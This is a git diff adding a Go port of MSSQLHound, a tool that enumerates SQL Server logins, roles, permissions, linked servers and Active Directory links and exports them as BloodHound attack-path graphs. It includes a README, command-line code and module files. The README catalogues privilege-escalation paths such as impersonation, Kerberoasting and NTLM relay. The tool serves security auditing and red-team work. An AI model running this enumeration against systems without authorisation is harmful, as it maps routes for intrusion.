+- **Compiled Binary**: No PowerShell interpreter overhead, faster startup and execution
+
+### Portability
+- **Cross-Platform**: Runs on Windows, Linux, and macOS (Windows authentication requires Windows)
+- **Single Binary**: No dependencies, easy to deploy and run
+- **No PowerShell Required**: Can run on systems without PowerShell installed
+
+### Compatibility
+- **PowerShell Fallback**: When the native Go SQL driver fails (e.g., certain SSPI configurations), automatically falls back to PowerShell's `System.Data.SqlClient` for maximum compatibility
+- **Full Feature Parity**: Produces identical BloodHound-compatible output
+
+### Maintainability
+- **Strongly Typed**: Go's type system catches errors at compile time
+- **Unit Testable**: Comprehensive test coverage for edge generation logic
+- **Modular Architecture**: Clean separation between collection, graph generation, and output
+
+## Overview
+
+MSSQLHound collects security-relevant information from Microsoft SQL Server instances and produces BloodHound OpenGraph-compatible JSON files. This Go implementation provides the same functionality as the PowerShell version with the improvements listed above.
+
+## Features
+
+- **SQL Server Collection**: Enumerates server principals (logins, server roles), databases, database principals (users, roles), permissions, and role memberships
+- **Linked Server Discovery**: Maps SQL Server linked server relationships
+- **Active Directory Integration**: Resolves Windows logins to domain principals via LDAP
+- **BloodHound Output**: Produces OpenGraph JSON format compatible with BloodHound CE
+- **Streaming Output**: Memory-efficient streaming JSON writer for large environments
+- **Automatic Fallback**: Falls back to PowerShell for servers with SSPI issues
+- **LDAP Paging**: Handles large domains with thousands of computers/SPNs
+
+## Building
+
+```bash
+cd go
+go build -o mssqlhound.exe ./cmd/mssqlhound
+```
+
+## Usage
+
+### Basic Usage
+
+Collect from a single SQL Server:
+```bash
+# Windows integrated authentication
+./mssqlhound -s sql.contoso.com
+
+# SQL authentication
+./mssqlhound -s sql.contoso.com -u sa -p password
+
+# Named instance
+./mssqlhound -s "sql.contoso.com\INSTANCE"
+
+# Custom port
+./mssqlhound -s "sql.contoso.com:1434"
+```
+
+### Multiple Servers
+
+```bash
+# From command line
+./mssqlhound --server-list "server1,server2,server3"
+
+# From file (one server per line)
+./mssqlhound --server-list-file servers.txt
+
+# With concurrent workers (default: 10)
+./mssqlhound --server-list-file servers.txt -w 20
+```
+
+### Full Domain Enumeration
+
+```bash
+# Scan all computers in the domain (not just those with SQL SPNs)
+./mssqlhound --scan-all-computers
+
+# With explicit LDAP credentials (recommended for large domains)
+./mssqlhound --scan-all-computers --ldap-user "DOMAIN\username" --ldap-password "password"
+```
+
+### Options
+
+| Flag | Description |
+|------|-------------|
+| `-s, --server` | SQL Server instance (host, host:port, or host\instance) |
+| `-u, --user` | SQL login username |
+| `-p, --password` | SQL login password |
+| `-d, --domain` | Domain for name/SID resolution |
+| `--dc` | Domain controller to use |
+| `-w, --workers` | Number of concurrent workers (default: 10) |
+| `-o, --output-directory` | Output directory for zip file |
+| `--scan-all-computers` | Scan all domain computers, not just those with SPNs |
+| `--ldap-user` | LDAP username for AD queries (DOMAIN\\user or user@domain) |
+| `--ldap-password` | LDAP password for AD queries |
+| `--skip-linked-servers` | Don't enumerate linked servers |
+| `--collect-from-linked` | Full collection on discovered linked servers |
+| `--skip-ad-nodes` | Skip creating User, Group, Computer nodes |
+| `--skip-private-address` | Skip servers with private IP addresses |
+| `--include-nontraversable` | Include non-traversable edges |
+| `-v, --verbose` | Enable verbose output |
+
+## Key Differences from PowerShell Version
+
+### Behavioral Differences
+
+| Feature | PowerShell | Go |
+|---------|------------|-----|
+| **Concurrency** | Single-threaded | Multi-threaded with configurable worker pool |
+| **Memory Usage** | Loads all data in memory | Streaming JSON output |
+| **Cross-Platform** | Windows only | Windows, Linux, macOS |
+| **SSPI Fallback** | N/A (native .NET) | Falls back to PowerShell for problematic servers |
+| **LDAP Paging** | Automatic via .NET | Explicit paging implementation |
+| **Duplicate Edges** | May emit duplicates | De-duplicates edges |
+
+### Edge Generation Differences
+
+#### `MSSQL_HasLogin` Edges
+
+| Aspect | PowerShell | Go |
+|--------|------------|-----|
+| **Domain Validation** | Calls `Resolve-DomainPrincipal` to verify the SID exists in Active Directory | Creates edges for all domain SIDs (`S-1-5-21-*`) |
+| **Orphaned Logins** | Skips logins where AD account no longer exists | Includes all logins regardless of AD status |
+| **Edge Count** | Fewer edges (only verified AD accounts) | More edges (all domain-authenticated logins) |
+
+**Why Go includes more edges**: For security analysis, orphaned SQL logins (where the AD account was deleted but the SQL login remains) still represent valid attack paths. An attacker who can restore or impersonate the deleted account's SID could still authenticate to SQL Server. The Go version captures these potential risks.
+
+#### `HasSession` Edges
+
+| Aspect | PowerShell | Go |
+|--------|------------|-----|
+| **Self-referencing** | Creates edge when computer runs SQL as itself (LocalSystem) | Skips self-referencing edges |
+
+**Why Go skips self-loops**: A `HasSession` edge from a computer to itself (when SQL Server runs as LocalSystem/the computer account) doesn't provide meaningful attack path information.
+
+#### `MSSQL_AddMember` Edges
+
+| Aspect | PowerShell | Go |
+|--------|------------|-----|
+| **Duplicates** | May emit duplicate edges | De-duplicates all edges |
+
+**Why Go has fewer edges**: The PowerShell version may emit the same AddMember edge multiple times in certain scenarios. Go ensures each unique edge is only emitted once.
+
+### Connection Handling
+
+The Go version includes automatic PowerShell fallback for servers that fail with the native `go-mssqldb` driver:
+
+```
+Native connection: go-mssqldb (fast, cross-platform)
+ ↓ fails with "untrusted domain" error
+Fallback: PowerShell + System.Data.SqlClient (Windows only, more compatible)
+```
+
+This ensures maximum compatibility while maintaining performance for the majority of servers.
+
+### LDAP Connection Methods
+
+The Go version tries multiple LDAP connection methods in order:
+
+1. **LDAPS (port 636)** - TLS encrypted, most secure
+2. **LDAP + StartTLS (port 389)** - Upgrade to TLS
+3. **Plain LDAP (port 389)** - Unencrypted (may fail if DC requires signing)
+4. **PowerShell/ADSI Fallback** - Windows COM-based fallback
+
+## Output Format
+
+MSSQLHound produces BloodHound OpenGraph JSON files containing:
+
+### Node Types
+- `MSSQLServer` - SQL Server instances
+- `MSSQLLogin` - Server-level logins
+- `MSSQLServerRole` - Server roles (sysadmin, securityadmin, etc.)
+- `MSSQLDatabase` - Databases
+- `MSSQLDatabaseUser` - Database users
+- `MSSQLDatabaseRole` - Database roles (db_owner, db_securityadmin, etc.)
+
+### Edge Types
+
+The Go implementation supports 51 edge kinds with full feature parity to the PowerShell version:
+
+| Edge Kind | Description | Traversable |
+|-----------|-------------|-------------|
+| `MSSQL_MemberOf` | Principal is a member of a role, inheriting all role permissions | Yes |
+| `MSSQL_IsMappedTo` | Login is mapped to a database user, granting automatic database access | Yes |
+| `MSSQL_Contains` | Containment relationship showing hierarchy (Server→DB, DB→User, etc.) | Yes |
+| `MSSQL_Owns` | Principal owns an object, providing full control | Yes |
+| `MSSQL_ControlServer` | Has CONTROL SERVER permission, granting sysadmin-equivalent control | Yes |
+| `MSSQL_ControlDB` | Has CONTROL on database, granting db_owner-equivalent permissions | Yes |
+| `MSSQL_ControlDBRole` | Has CONTROL on database role, allowing full control including member management | Yes |
+| `MSSQL_ControlDBUser` | Has CONTROL on database user, allowing impersonation | Yes |
+| `MSSQL_ControlLogin` | Has CONTROL on login, allowing impersonation and password changes | Yes |
+| `MSSQL_ControlServerRole` | Has CONTROL on server role, allowing member management | Yes |
+| `MSSQL_Impersonate` | Can impersonate target principal | Yes |
+| `MSSQL_ImpersonateAnyLogin` | Can impersonate any server login | Yes |
+| `MSSQL_ImpersonateDBUser` | Can impersonate specific database user | Yes |
+| `MSSQL_ImpersonateLogin` | Can impersonate specific server login | Yes |
+| `MSSQL_ChangePassword` | Can change target's password without knowing current password | Yes |
+| `MSSQL_AddMember` | Can add members to target role | Yes |
+| `MSSQL_Alter` | Has ALTER permission on target object | No |
+| `MSSQL_AlterDB` | Has ALTER permission on database | No |
+| `MSSQL_AlterDBRole` | Has ALTER permission on database role | No |
+| `MSSQL_AlterServerRole` | Has ALTER permission on server role | No |
+| `MSSQL_Control` | Has CONTROL permission on target object | No |
+| `MSSQL_ChangeOwner` | Can take ownership via TAKE OWNERSHIP permission | Yes |
+| `MSSQL_AlterAnyLogin` | Can alter any login on the server | No |
+| `MSSQL_AlterAnyServerRole` | Can alter any server role | No |
+| `MSSQL_AlterAnyRole` | Can alter any role (generic) | No |
+| `MSSQL_AlterAnyDBRole` | Can alter any database role | No |
+| `MSSQL_AlterAnyAppRole` | Can alter any application role | No |
+| `MSSQL_GrantAnyPermission` | Can grant ANY server permission (securityadmin capability) | Yes |
+| `MSSQL_GrantAnyDBPermission` | Can grant ANY database permission (db_securityadmin capability) | Yes |
+| `MSSQL_LinkedTo` | Linked server connection to another SQL Server | Yes |
+| `MSSQL_LinkedAsAdmin` | Linked server with admin privileges on remote server | Yes |
+| `MSSQL_ExecuteAsOwner` | TRUSTWORTHY DB allows privilege escalation via owner permissions | Yes |
+| `MSSQL_IsTrustedBy` | Database has TRUSTWORTHY enabled | Yes |
+| `MSSQL_HasDBScopedCred` | Database has database-scoped credential for external auth | No |
+| `MSSQL_HasMappedCred` | Login has mapped credential | No |
+| `MSSQL_HasProxyCred` | Principal can use SQL Agent proxy account | No |
+| `MSSQL_ServiceAccountFor` | Domain account is service account for SQL Server | Yes |
+| `MSSQL_HostFor` | Computer hosts the SQL Server instance | Yes |
+| `MSSQL_ExecuteOnHost` | SQL Server can execute OS commands on host | Yes |
+| `MSSQL_TakeOwnership` | Has TAKE OWNERSHIP permission | Yes |
+| `MSSQL_DBTakeOwnership` | Has TAKE OWNERSHIP on database | Yes |
+| `MSSQL_CanExecuteOnServer` | Can execute code on server | Yes |
+| `MSSQL_CanExecuteOnDB` | Can execute code on database | Yes |
+| `MSSQL_Connect` | Has CONNECT SQL permission | No |
+| `MSSQL_ConnectAnyDatabase` | Can connect to any database | No |
+| `MSSQL_ExecuteAs` | Can execute as target (action edge) | Yes |
+| `MSSQL_HasLogin` | Domain account has SQL Server login | Yes |
+| `MSSQL_GetTGS` | Service account SPN enables Kerberoasting | Yes |
+| `MSSQL_GetAdminTGS` | Service account SPN enables Kerberoasting with admin access | Yes |
+| `HasSession` | AD account has session on computer | Yes |
+| `CoerceAndRelayToMSSQL` | EPA disabled, enables NTLM relay attacks | Yes |
+
+**Note:** Traversable edges represent attack paths that can be directly exploited. Non-traversable edges provide context but may not always be directly abusable.
+
+## CVE Detection
+
+The Go version includes detection for SQL Server vulnerabilities:
+
+### CVE-2025-49758
+Checks if the SQL Server version is vulnerable to CVE-2025-49758 and reports the status:
+- `VULNERABLE` - Server is running an affected version
+- `NOT vulnerable` - Server has been patched
+
+## Known Limitations and Issues
+
+### Windows Authentication on Non-Windows Platforms
+
+Windows Integrated Authentication (SSPI/Kerberos) is only available when running on Windows. On Linux/macOS, use SQL authentication instead.
+
+### GSSAPI/Kerberos Authentication Issues
+
+The Go LDAP library's GSSAPI implementation may fail in certain environments with errors like:
+
+```
+LDAP Result Code 49 "Invalid Credentials": 80090346: LdapErr: DSID-0C0906CF,
+comment: AcceptSecurityContext error, data 80090346
+```
+
+**Common causes:**
+- Channel binding token (CBT) mismatch between client and server
+- Kerberos ticket issues (expired, clock skew, wrong realm)
+- Domain controller requires specific LDAP signing/sealing options
+
+**Solutions:**
+
+1. **Use explicit LDAP credentials** (recommended for `--scan-all-computers`):
+ ```bash
+ ./mssqlhound --scan-all-computers --ldap-user "DOMAIN\username" --ldap-password "password"
+ ```
+
+2. **Verify Kerberos tickets**:
+ ```bash
+ klist # Check current tickets
+ klist purge # Clear and re-acquire tickets
+ ```
+
+3. **Check time synchronization** - Kerberos requires clocks within 5 minutes
+
+### LDAP Size Limits
+
+Active Directory has a default maximum result size of 1000 objects per query. The Go version implements LDAP paging to handle domains with more than 1000 computers or SPNs. If you see "Size Limit Exceeded" errors, ensure you're using the latest version.
+
+### SQL Server SSPI Compatibility
+
+Some SQL Server instances with specific SSPI configurations may fail to connect with the native Go driver.
+
+**Symptom:**
+```
+Login failed. The login is from an untrusted domain and cannot be used with Windows authentication
+```
+
+**Automatic Handling:** The Go version detects this error and automatically retries using PowerShell's `System.Data.SqlClient`, which handles these edge cases more reliably. This fallback requires PowerShell to be available on the system.
+
+### PowerShell Fallback Limitations
+
+The PowerShell fallback for SQL connections and AD enumeration requires:
+- Windows operating system
+- PowerShell execution not blocked by security policy
+- Access to `System.Data.SqlClient` (.NET Framework)
+
+If PowerShell is blocked (e.g., `Access is denied` error), the fallback will not work. In this case:
+- For SQL connections: Some servers may not be reachable
+- For AD enumeration: Use explicit LDAP credentials instead
+
+### When to Use LDAP Credentials
+
+Use `--ldap-user` and `--ldap-password` when:
+
+1. **Full domain computer enumeration** (`--scan-all-computers`) - GSSAPI often fails with the Go library due to CBT issues
+2. **Cross-domain scenarios** - When enumerating from a machine in a different domain
+3. **Service account execution** - When running as a service account that may have Kerberos delegation issues
+4. **Troubleshooting GSSAPI failures** - As a workaround when implicit authentication fails
+
+**Example:**
+```bash
+# Recommended for large domain enumeration
+./mssqlhound --scan-all-computers \
+ --ldap-user "DOMAIN\svc_mssqlhound" \
+ --ldap-password "SecurePassword123" \
+ -w 50
+```
+
+## Troubleshooting
+
+### Verbose Output
+
+Use `-v` or `--verbose` to see detailed connection attempts and errors:
+
+```bash
+./mssqlhound -s sql.contoso.com -v
+```
+
+### Common Error Messages
+
+| Error | Cause | Solution |
+|-------|-------|----------|
+| `untrusted domain` | SSPI negotiation failed | Automatic PowerShell fallback; check domain trust |
+| `Size Limit Exceeded` | Too many LDAP results | Update to latest version (has paging) |
+| `80090346` | GSSAPI/Kerberos failure | Use explicit LDAP credentials |
+| `Strong Auth Required` | DC requires LDAP signing | Will automatically try LDAPS/StartTLS |
+| `Access is denied` (PowerShell) | Execution policy blocked | Use explicit LDAP credentials instead |
+
+### Debug LDAP Connection
+
+The verbose output shows which LDAP connection methods are attempted:
+
+```
+LDAPS:636 GSSAPI:
+LDAP:389+StartTLS GSSAPI:
+LDAP:389 GSSAPI:
+```
+
+This helps identify whether the issue is TLS-related or authentication-related.
+
+## License
+
+GPLv3 License - see LICENSE file.
+
+## Credits
+
+- Original PowerShell version by Chris Thompson (@_Mayyhem) at SpecterOps
+- Go port by Javier Azofra at Siemens Healthineers
+
diff --git a/cmd/mssqlhound/main.go b/cmd/mssqlhound/main.go
new file mode 100644
index 0000000..4e75625
--- /dev/null
+++ b/cmd/mssqlhound/main.go
@@ -0,0 +1,176 @@
+package main
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "os"
+ "strings"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/collector"
+ "github.com/spf13/cobra"
+)
+
+var (
+ version = "1.1.0"
+
+ // Connection options
+ serverInstance string
+ serverListFile string
+ serverList string
+ userID string
+ password string
+ domain string
+ domainController string
+ dcIP string
+ dnsResolver string
+ ldapUser string
+ ldapPassword string
+
+ // Output options
+ outputFormat string
+ tempDir string
+ zipDir string
+ fileSizeLimit string
+ verbose bool
+
+ // Collection options
+ domainEnumOnly bool
+ skipLinkedServerEnum bool
+ collectFromLinkedServers bool
+ skipPrivateAddress bool
+ scanAllComputers bool
+ skipADNodeCreation bool
+ includeNontraversableEdges bool
+ makeInterestingEdgesTraversable bool
+
+ // Timeouts and limits
+ linkedServerTimeout int
+ memoryThresholdPercent int
+ fileSizeUpdateInterval int
+
+ // Concurrency
+ workers int
+)
+
+func main() {
+ rootCmd := &cobra.Command{
+ Use: "mssqlhound",
+ Short: "MSSQLHound: Collector for adding MSSQL attack paths to BloodHound",
+ Long: `MSSQLHound: Collector for adding MSSQL attack paths to BloodHound with OpenGraph
+
+Author: Chris Thompson (@_Mayyhem) at SpecterOps
+Go port: Javier Azofra at Siemens Healthineers
+
+Collects BloodHound OpenGraph compatible data from one or more MSSQL servers into individual files, then zips them.`,
+ Version: version,
+ RunE: run,
+ }
+
+ // Connection flags
+ rootCmd.Flags().StringVarP(&serverInstance, "server", "s", "", "SQL Server instance to collect from (host, host:port, or host\\instance)")
+ rootCmd.Flags().StringVar(&serverListFile, "server-list-file", "", "File containing list of servers (one per line)")
+ rootCmd.Flags().StringVar(&serverList, "server-list", "", "Comma-separated list of servers")
+ rootCmd.Flags().StringVarP(&userID, "user", "u", "", "SQL login username")
+ rootCmd.Flags().StringVarP(&password, "password", "p", "", "SQL login password")
+ rootCmd.Flags().StringVarP(&domain, "domain", "d", "", "Domain to use for name and SID resolution")
+ rootCmd.Flags().StringVar(&domainController, "dc", "", "Domain controller to use for resolution")
+ rootCmd.Flags().StringVar(&dcIP, "dc-ip", "", "Domain controller IP address (will be used as DNS resolver if --dns-resolver not specified)")
+ rootCmd.Flags().StringVar(&dnsResolver, "dns-resolver", "", "DNS resolver IP address for domain lookups")
+ rootCmd.Flags().StringVar(&ldapUser, "ldap-user", "", "LDAP user (DOMAIN\\user or user@domain) for GSSAPI/Kerberos bind")
+ rootCmd.Flags().StringVar(&ldapPassword, "ldap-password", "", "LDAP password for GSSAPI/Kerberos bind")
+
+ // Output flags
+ rootCmd.Flags().StringVarP(&outputFormat, "output-format", "o", "BloodHound", "Output format: BloodHound, BHGeneric")
+ rootCmd.Flags().StringVar(&tempDir, "temp-dir", "", "Temporary directory for output files")
+ rootCmd.Flags().StringVar(&zipDir, "zip-dir", ".", "Directory for final zip file")
+ rootCmd.Flags().StringVar(&fileSizeLimit, "file-size-limit", "1GB", "Stop enumeration after files exceed this size")
+ rootCmd.Flags().BoolVarP(&verbose, "verbose", "v", false, "Enable verbose output showing detailed collection progress")
+
+ // Collection flags
+ rootCmd.Flags().BoolVar(&domainEnumOnly, "domain-enum-only", false, "Only enumerate SPNs, skip MSSQL collection")
+ rootCmd.Flags().BoolVar(&skipLinkedServerEnum, "skip-linked-servers", false, "Don't enumerate linked servers")
+ rootCmd.Flags().BoolVar(&collectFromLinkedServers, "collect-from-linked", false, "Perform full collection on discovered linked servers")
+ rootCmd.Flags().BoolVar(&skipPrivateAddress, "skip-private-address", false, "Skip private IP check when resolving domains")
+ rootCmd.Flags().BoolVar(&scanAllComputers, "scan-all-computers", false, "Scan all domain computers, not just those with SPNs")
+ rootCmd.Flags().BoolVar(&skipADNodeCreation, "skip-ad-nodes", false, "Skip creating User, Group, Computer nodes")
+ rootCmd.Flags().BoolVar(&includeNontraversableEdges, "include-nontraversable", false, "Include non-traversable edges")
+ rootCmd.Flags().BoolVar(&makeInterestingEdgesTraversable, "make-interesting-traversable", true, "Make interesting edges traversable (default true)")
+
+ // Timeout/limit flags
+ rootCmd.Flags().IntVar(&linkedServerTimeout, "linked-timeout", 300, "Linked server enumeration timeout (seconds)")
+ rootCmd.Flags().IntVar(&memoryThresholdPercent, "memory-threshold", 90, "Stop when memory exceeds this percentage")
+ rootCmd.Flags().IntVar(&fileSizeUpdateInterval, "size-update-interval", 5, "Interval for file size updates (seconds)")
+
+ // Concurrency flags
+ rootCmd.Flags().IntVarP(&workers, "workers", "w", 0, "Number of concurrent workers (0 = sequential processing)")
+
+ if err := rootCmd.Execute(); err != nil {
+ fmt.Fprintf(os.Stderr, "Error: %v\n", err)
+ os.Exit(1)
+ }
+}
+
+func run(cmd *cobra.Command, args []string) error {
+ fmt.Printf("MSSQLHound v%s\n", version)
+ fmt.Println("Author: Chris Thompson (@_Mayyhem) at SpecterOps")
+ fmt.Println("Go port: Javier Azofra at Siemens Healthineers")
+ fmt.Println()
+
+ // Configure custom DNS resolver if specified
+ // If --dc-ip is specified but --dns-resolver is not, use dc-ip as the resolver
+ resolver := dnsResolver
+ if resolver == "" && dcIP != "" {
+ resolver = dcIP
+ }
+
+ if resolver != "" {
+ fmt.Printf("Using custom DNS resolver: %s\n", resolver)
+ net.DefaultResolver = &net.Resolver{
+ PreferGo: true,
+ Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
+ d := net.Dialer{
+ Timeout: time.Millisecond * time.Duration(10000),
+ }
+ return d.DialContext(ctx, network, net.JoinHostPort(resolver, "53"))
+ },
+ }
+ }
+
+ // Build configuration from flags
+ config := &collector.Config{
+ ServerInstance: serverInstance,
+ ServerListFile: serverListFile,
+ ServerList: serverList,
+ UserID: userID,
+ Password: password,
+ Domain: strings.ToUpper(domain),
+ DomainController: domainController,
+ DCIP: dcIP,
+ DNSResolver: dnsResolver,
+ LDAPUser: ldapUser,
+ LDAPPassword: ldapPassword,
+ OutputFormat: outputFormat,
+ TempDir: tempDir,
+ ZipDir: zipDir,
+ FileSizeLimit: fileSizeLimit,
+ Verbose: verbose,
+ DomainEnumOnly: domainEnumOnly,
+ SkipLinkedServerEnum: skipLinkedServerEnum,
+ CollectFromLinkedServers: collectFromLinkedServers,
+ SkipPrivateAddress: skipPrivateAddress,
+ ScanAllComputers: scanAllComputers,
+ SkipADNodeCreation: skipADNodeCreation,
+ IncludeNontraversableEdges: includeNontraversableEdges,
+ MakeInterestingEdgesTraversable: makeInterestingEdgesTraversable,
+ LinkedServerTimeout: linkedServerTimeout,
+ MemoryThresholdPercent: memoryThresholdPercent,
+ FileSizeUpdateInterval: fileSizeUpdateInterval,
+ Workers: workers,
+ }
+
+ // Create and run collector
+ c := collector.New(config)
+ return c.Run()
+}
diff --git a/go.mod b/go.mod
new file mode 100644
index 0000000..3b32bb1
--- /dev/null
+++ b/go.mod
@@ -0,0 +1,25 @@
+module github.com/SpecterOps/MSSQLHound
+
+go 1.24.0
+
+require (
+ github.com/go-ldap/ldap/v3 v3.4.6
+ github.com/go-ole/go-ole v1.3.0
+ github.com/microsoft/go-mssqldb v1.9.6
+ github.com/spf13/cobra v1.8.0
+)
+
+require (
+ github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect
+ github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 // indirect
+ github.com/go-asn1-ber/asn1-ber v1.5.5 // indirect
+ github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect
+ github.com/golang-sql/sqlexp v0.1.0 // indirect
+ github.com/google/uuid v1.6.0 // indirect
+ github.com/inconshreveable/mousetrap v1.1.0 // indirect
+ github.com/shopspring/decimal v1.4.0 // indirect
+ github.com/spf13/pflag v1.0.5 // indirect
+ golang.org/x/crypto v0.45.0 // indirect
+ golang.org/x/sys v0.38.0 // indirect
+ golang.org/x/text v0.31.0 // indirect
+)
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..b1dbcbe
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,109 @@
+github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0 h1:Gt0j3wceWMwPmiazCa8MzMA0MfhmPIz0Qp0FJ6qcM0U=
+github.com/Azure/azure-sdk-for-go/sdk/azcore v1.18.0/go.mod h1:Ot/6aikWnKWi4l9QB7qVSwa8iMphQNqkWALMoNT3rzM=
+github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1 h1:B+blDbyVIG3WaikNxPnhPiJ1MThR03b3vKGtER95TP4=
+github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.10.1/go.mod h1:JdM5psgjfBf5fo2uWOZhflPWyDBZ/O/CNAH9CtsuZE4=
+github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1 h1:FPKJS1T+clwv+OLGt13a8UjqeRuh0O4SJ3lUriThc+4=
+github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.1/go.mod h1:j2chePtV91HrC22tGoRX3sGY42uF13WzmmV80/OdVAA=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1 h1:Wgf5rZba3YZqeTNJPtvqZoBu1sBN/L4sry+u2U3Y75w=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.3.1/go.mod h1:xxCBG/f/4Vbmh2XQJBsOmNdxWUY5j/s27jujKPbQf14=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1 h1:bFWuoEKg+gImo7pvkiQEFAc8ocibADgXeiLAxWhWmkI=
+github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.1.1/go.mod h1:Vih/3yc6yac2JzU4hzpaDupBJP0Flaia9rXXrU8xyww=
+github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8=
+github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
+github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2 h1:oygO0locgZJe7PpYPXT5A29ZkwJaPqcva7BVeemZOZs=
+github.com/AzureAD/microsoft-authentication-library-for-go v1.4.2/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI=
+github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA=
+github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
+github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/go-asn1-ber/asn1-ber v1.5.5 h1:MNHlNMBDgEKD4TcKr36vQN68BA00aDfjIt3/bD50WnA=
+github.com/go-asn1-ber/asn1-ber v1.5.5/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0=
+github.com/go-ldap/ldap/v3 v3.4.6 h1:ert95MdbiG7aWo/oPYp9btL3KJlMPKnP58r09rI8T+A=
+github.com/go-ldap/ldap/v3 v3.4.6/go.mod h1:IGMQANNtxpsOzj7uUAMjpGBaOVTC4DYyIy8VsTdxmtc=
+github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
+github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
+github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8=
+github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
+github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 h1:au07oEsX2xN0ktxqI+Sida1w446QrXBRJ0nee3SNZlA=
+github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
+github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A=
+github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
+github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
+github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
+github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
+github.com/microsoft/go-mssqldb v1.9.6 h1:1MNQg5UiSsokiPz3++K2KPx4moKrwIqly1wv+RyCKTw=
+github.com/microsoft/go-mssqldb v1.9.6/go.mod h1:yYMPDufyoF2vVuVCUGtZARr06DKFIhMrluTcgWlXpr4=
+github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c h1:+mdjkGKdHQG3305AYmdv1U2eRNDiU2ErMBj1gwrq8eQ=
+github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c/go.mod h1:7rwL4CYBLnjLxUqIJNnCWiEdr3bn6IUYi15bNlnbCCU=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k=
+github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME=
+github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
+github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
